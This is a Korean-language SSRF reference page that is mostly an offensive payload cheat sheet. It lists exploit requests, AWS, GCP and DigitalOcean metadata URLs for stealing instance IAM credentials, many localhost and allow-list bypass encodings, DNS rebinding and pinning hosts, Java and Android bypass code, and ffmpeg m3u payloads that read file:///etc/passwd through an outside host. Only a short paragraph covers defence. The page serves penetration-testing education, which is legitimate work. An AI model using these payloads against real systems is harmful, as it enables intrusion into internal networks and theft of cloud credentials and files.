SSRF
Introduction #
SSRF는 Server-Side Request Forgery의 약자로 백엔드 서버단에서 요청을 발생시켜 내부시스템에 접근하거나 외부로 데이터를 유출할 수 있는 공격 방법입니다.
Why? #
서비스 기능에 따라서 proxy 서버와 유사하게 서버가 웹 요청을 대신 수행해야하는 경우가 있습니다. 특히 외부 Endpoint에 접근할 수 있는 URL에 관련된 정보를 받아오는 경우 외부에서 사용자가 이를 조작하여 개발자가 의도하지 않은 도메인으로 웹 요청을 발생시킬 수 있습니다.
Offensive techniques #
Detect #
보통 이미지를 캡쳐하거나 웹 사이트의 정보를 읽어오는 기능에서 자주 발생하며, 정말 생각지도 않는 기능중에 다른 서비스로 요청을 보내는 경우 발생할 수 있습니다. 이를 쉽게 찾기 위해서는 Callback 성 도구(Burpsuite collaborator, ZAP OAST 등)를 활용해서 OOB(Out-of-Band) 와 유사하게 Callback을 받을 도메인을 파라미터, 헤더 등으로 요청하여 서버가 전송하는 요청을 탐지하는 방법이 가장 빠르고 확실합니다.
간혹 인프라 구조에 따라서 외부로 요청이 발생하지 못할 수 있는데, 이러한 경우 localhost, 사설 IP, 사설 도메인(서브도메인 스캔 후 IP를 비교하면 됩니다) 등을 호출하면서 접근할 수 있는지 체크하면 됩니다.
Exploitation #
외부/내부로 접점을 확인했다면 실제로 영향력을 만들어야합니다. 보통 인프라에서 사용되는 주요 시스템등의 사설도메인/IP 로 접근해서 response를 통해 내부 정보를 유출하거나, SSRF의 특성 상 DMZ나 그 뒤에서 동작한다는 점을 이용해서 ALC 등 보안 정책을 우회할 수 있습니다. 또는 protocol을 컨트롤할 수 있는 경우 내부 파일에 대한 접근 포인트도 존재합니다.
Original: GET /get?url=https://external.service/1234.jpg
Exploit: GET /get?url=https://internal.service/
Exploit: GET /get?url=https://external.service/internal-api.json
Exploit: GET /get?url=file://etc/passwd
Exploitation - Public Cloud Service #
AWS, GCP, Azure, Digital Ocean 등 Public Cloud 를 사용하는 경우 Metadata API로 접근해서 Instance에 대한 정보를 얻거나 중요한 키 값을 얻어 시스템을 탈취할 수 있는 리스크를 만들어낼 수 있습니다.
Metadata URLs (AWS)
# 169.254.169.254
http://169.254.169.254/latest/user-data
http://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE NAME]
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance
http://169.254.169.254/latest/meta-data/ami-id
http://169.254.169.254/latest/meta-data/reservation-id
http://169.254.169.254/latest/meta-data/hostname
http://169.254.169.254/latest/meta-data/public-keys/
http://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
http://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key
http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
http://169.254.169.254/latest/meta-data/iam/security-credentials/s3access
http://169.254.169.254/latest/dynamic/instance-identity/document
# instance-data
http://instance-data/latest/meta-data
http://instance-data/latest/meta-data/hostname
http://instance-data/latest/meta-data/public-keys/
...snip...
Metadata URLs (GCP)
http://169.254.169.254/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/
http://metadata/computeMetadata/v1/
http://metadata.google.internal/computeMetadata/v1/instance/hostname
http://metadata.google.internal/computeMetadata/v1/instance/id
http://metadata.google.internal/computeMetadata/v1/project/project-id
Metadata URLS (Digital Ocean)
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/address
이외에도 굉장히 많은 Public Cloud Service에 대한 Metadata API가 있습니다. 아래 링크를 참고해주세요.
Bypass protection #
우회 방법에도 여러가지가 있습니다.
Localhost #
http://127.0.0.1
http://0.0.0.0
http://localhost
http://[::]
http://0000::1
http://spoofed.burpcollaborator.net
http://localtest.me
http://localhost.hahwul.com
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
http://0/
http://127.1
http://127.0.1
http://2130706433
http://0177.0.0.1
http://o177.0.0.1
http://0o177.0.0.1
http://q177.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1] #IPv6
Basic bypass #
http://trustdomain.com.untrust.com
http://trustdomain.com@untrust.com
http://untrust.com#.trustdomain.com
http://untrust.com?.trustdomain.com
http://untrust.com.trustdomain.com
http://untrust.com\@trustdomain.com
http://untrust.com\@@trustdomain.com
http://untrust.com:\@@trustdomain.com
http://untrust.com#\@trustdomain.com
http://localhost.hahwul.com/server-status
# if blacklist protection,
http://ⓊⓃⓉⓇⓊⓈⓉ.ⒸⓄⓂ
http://ⓤⓝⓣⓡⓤⓢⓣ.ⓒⓞⓜ
http://⒰⒩⒯⒭⒰⒮⒯.⒞⒪⒨
Bypass with @ #
보통 Era of SSRF로 많이 알려진 방법입니다. @를 이용하여 실제 Host와 검증에서 확인하는 Host를 다르게 분리시켜 공격자가 의도한 도메인으로 접근하도록 유도하는 방법입니다. SSRF 이외에도 각종 공격 방법에서 많이 사용되기 떄문에 잘 알아두시는게 좋습니다. 자세한 내용은 아래 링크를 참고해주세요.
https://www.hahwul.com/2017/09/14/web-hacking-new-attack-vectors-in/
https://google.com@www.hahwul.com => www.hahwul.com
Bypass with Special chars #
?url=http://allow_domain.internal_domain_or_ip/page
?url=http://allow_domain@internal_domain_or_ip/page
?url=http://internal_domain_or_ip#.allow_domain/page
?url=http://internal_domain_or_ip?.allow_domain/page
?url=http://internal_domain_or_ip\.allow_domain/page
?url=https://ⓦⓦⓦ.ⓗⓐⓗⓦⓤⓛ.ⓒⓞⓜ = www.hahwul.com
[ List ]
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳
⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇
⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛
⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵
Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ
ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ
⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
Bypass with CNAME and A Record #
SSRF 대상이 외부 요청이 가능한 경우 URL을 공격자가 의도한 도메인으로 요청하는데, 이 때 해당 도메인의 IP를 내부망으로 지정하여 접근할 수 있는 방법이 있습니다. 자세한 내용은 아래 링크를 참고해주세요.
https://www.hahwul.com/2019/02/19/bypass-ssrf-protection-using-domain-cname-arecord/
ping localhost.hahwul.com
PING localhost.hahwul.com (127.0.0.1): 56 data bytes
Bypass with AAAA Record (IPv6) #
SSRF에 대한 대응 방법 중 가장 확실한게 Endpoint의 실제 IP를 체크하는 방법입니다. 다만 이러한 경우 대부분 Denie list 기반(이는 사설대역이 명확하게 구분되기 때문이에요)의 보호 로직을 사용하는데, 이러한 경우 IPv6 주소를 이용하여 우회해볼 수 있습니다. 그리고 도메인 서비스에서 IPv6 주소는 AAAA Record로 매핑합니다.
- localhostv6.hahwul.com (
::1
)
Bypass with Redirect #
SSRF 대상이 외부 요청이 가능한 경우 URL을 공격자가 의도한 사이트로 요청한 후 해당 페이지에서 301,302,307,308 등을 이용해 HTTP Redirect를 통해 내부로도 접근을 시도할 수 있습니다. 자세한 내용은 아래 링크를 참고해주세요.
https://www.hahwul.com/2019/02/22/bypass-ssrf-protection-using-http-redirect/
/?url=https://your.domain.com/redirect?url=http://internal.service
DNS Rebinding #
DNS Rebinding을 이용하면 2개의 IP가 공존하는 도메인을 이용해서 Host validation을 우회할 수 있습니다.
rebind.hahwul.com => 127.0.0.1
169.254.169.254
DNS Change #
DNS Rebinding과 유사하게 DNS에서 A Record의 IP를 바꾸는 형태로 우회할 수 있습니다. 다만 이는 Host validation check와 실제 요청을 수행하는 기능간의 시간차가 있거나 바라보는 DNS 서버가 다른 경우에만 유효합니다.
test.hahwul.com: external_ip and chenage internal_ip
1) host validator => external_ip
2) service => ineternal_ip
Bypass with jar protocol (Only Java) #
jar:scheme://domain/path!/
jar:http://127.0.0.1!/
jar:https://127.0.0.1!/
jar:ftp://127.0.0.1!/
Bypass with HierarchicalUri (Only Android) #
Android의 Host validation의 차이를 이용한 방법입니다. 이외에도 여러가지 방법이 있으니 해당 내용은 아래 링크를 참고해주세요.
https://www.hahwul.com/2019/09/23/bypass-host-validation-technique-in-android/
Class partClass = Class.forName("android.net.Uri$Part");
Constructor partConstructor = partClass.getDeclaredConstructors()[0];
partConstructor.setAccessible(true);
Class pathPartClass = Class.forName("android.net.Uri$PathPart");
Constructor pathPartConstructor = pathPartClass.getDeclaredConstructors()[0];
pathPartConstructor.setAccessible(true);
Class hierarchicalUriClass = Class.forName("android.net.Uri$HierarchicalUri");
Constructor hierarchicalUriConstructor = hierarchicalUriClass.getDeclaredConstructors()[0];
hierarchicalUriConstructor.setAccessible(true);
Object authority = partConstructor.newInstance("trustdomain.com", "trustdomain.com");
Object path = pathPartConstructor.newInstance("@attacker.com", "@attacker.com");
uri = (Uri) hierarchicalUriConstructor.newInstance("https", authority, path, null, null);
Bypass with URL: Prefix (Only Java’s URL) #
url:http://127.0.0.1:8080
url:file:///etc/passwd
Bypass with Location header #
Response
301 Moved Permanently
Location: internal_endpoint
Bypass with 20x + Content-Location #
Response
200 OK
Content-Location: internal_endpoint
Bypass with iframe (only headless) #
200 OK
<iframe src="internal_endpoint">
</iframe>
Bypass with ffmpeg #
- https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf
- https://github.com/neex/ffmpeg-avi-m3u-xbin
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0,
https://internal_endpoint
#EXT-X-ENDLIST
#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
#EXTINF:10.0, concat:http://dx.su/header.m3u8|file:///etc/passwd
#EXT-X-ENDLIST
Bypass with TocToU #
ToCToU는 Time Of Check to Time Of Use의 시간차를 이용한 공격이며 보통 Race condition attack에서 많이 나오던 개념입니다. URL 검증 로직과 실제 요청 로직간의 차이가 있는 경우 이 간격 사이에 IP를 변경하여 SSRF를 막기 위한 IP 검증 등을 우회하는 방법입니다. (ToCToU SSRF 글 참고)
실제로 아래 케이스에서 유용하게 작동합니다.
- URL 등록 후 주기적으로 Batch가 도는 경우
- URL 등록 후 사용자의 특정 Interaction이 있는 때 동작하는 경우
- MSA 구조로 인해 딜레이가 긴 경우 (다만 타이밍 맞추기는 굉장히 힘듭니다)
DNS Pinning #
Pinning Service
- http://xip.io/
- https://nip.io/
e.g
nslookup 169.254.169.254.xip.io
nslookup 1ynrnhl.xip.io
nslookup www.owasp.org.1ynrnhl.xip.io
nslookup 127.127.127.127.xip.io
nslookup 169.254.169.254.nip.io
nslookup app-169-254-169-254.nip.io
nslookup owasp.org.169.254.169.254.nip.io
nslookup customer2-app-169-254-169-254.nip.io
nslookup 127.127.127.127.nip.io
Blind SSRF Canaries & Chains #
Blind SSRF를 내부의 다른 SSRF, Open Redirect 등 다른 이슈와 연결하여 리스크를 만들어내는 기술을 Blind SSRF Canaries 라고 부릅니다. 그리고 이러한 것들을 Attack Chain처럼 하나로 묶게되면 단순히 내부망에서 요청을 호출하는 SSRF에서 실제로 좀 더 영향있는 리스크를 만들 수 있습니다.
이러한 SSRF Chain 방법은 이미 알려진 여러가지 방법들이 있고, 자세한 내용은 아래 AssetNode에서 작성한 글을 참고하시는게 좋습니다.
- https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/
Defensive techniques #
사용자로부터 URL, Path, Port 등 요청을 위한 재료를 받는 경우 의도하지 않은 페이지로 이동할 수 없도록 정확하게 검증해야합니다. 정규식 등으로 걸러낼 수 있지만, 가급적 Application에서 제공하는 Host validation 기능을 이용하는 것이 좋습니다. 추가로 Application의 Host validation에 문제가 있는 경우도 있으니 이를 활용한 상태에서 취약점이 발생했다면, 추가적인 코드로 2중 검증을 진행하는게 좋습니다.
Tools #
- SSRFmap - https://github.com/swisskyrepo/SSRFmap
- Gopherus - https://github.com/tarunkant/Gopherus
- See-SURF - https://github.com/In3tinct/See-SURF
- SSRF Sheriff - https://github.com/teknogeek/ssrf-sheriff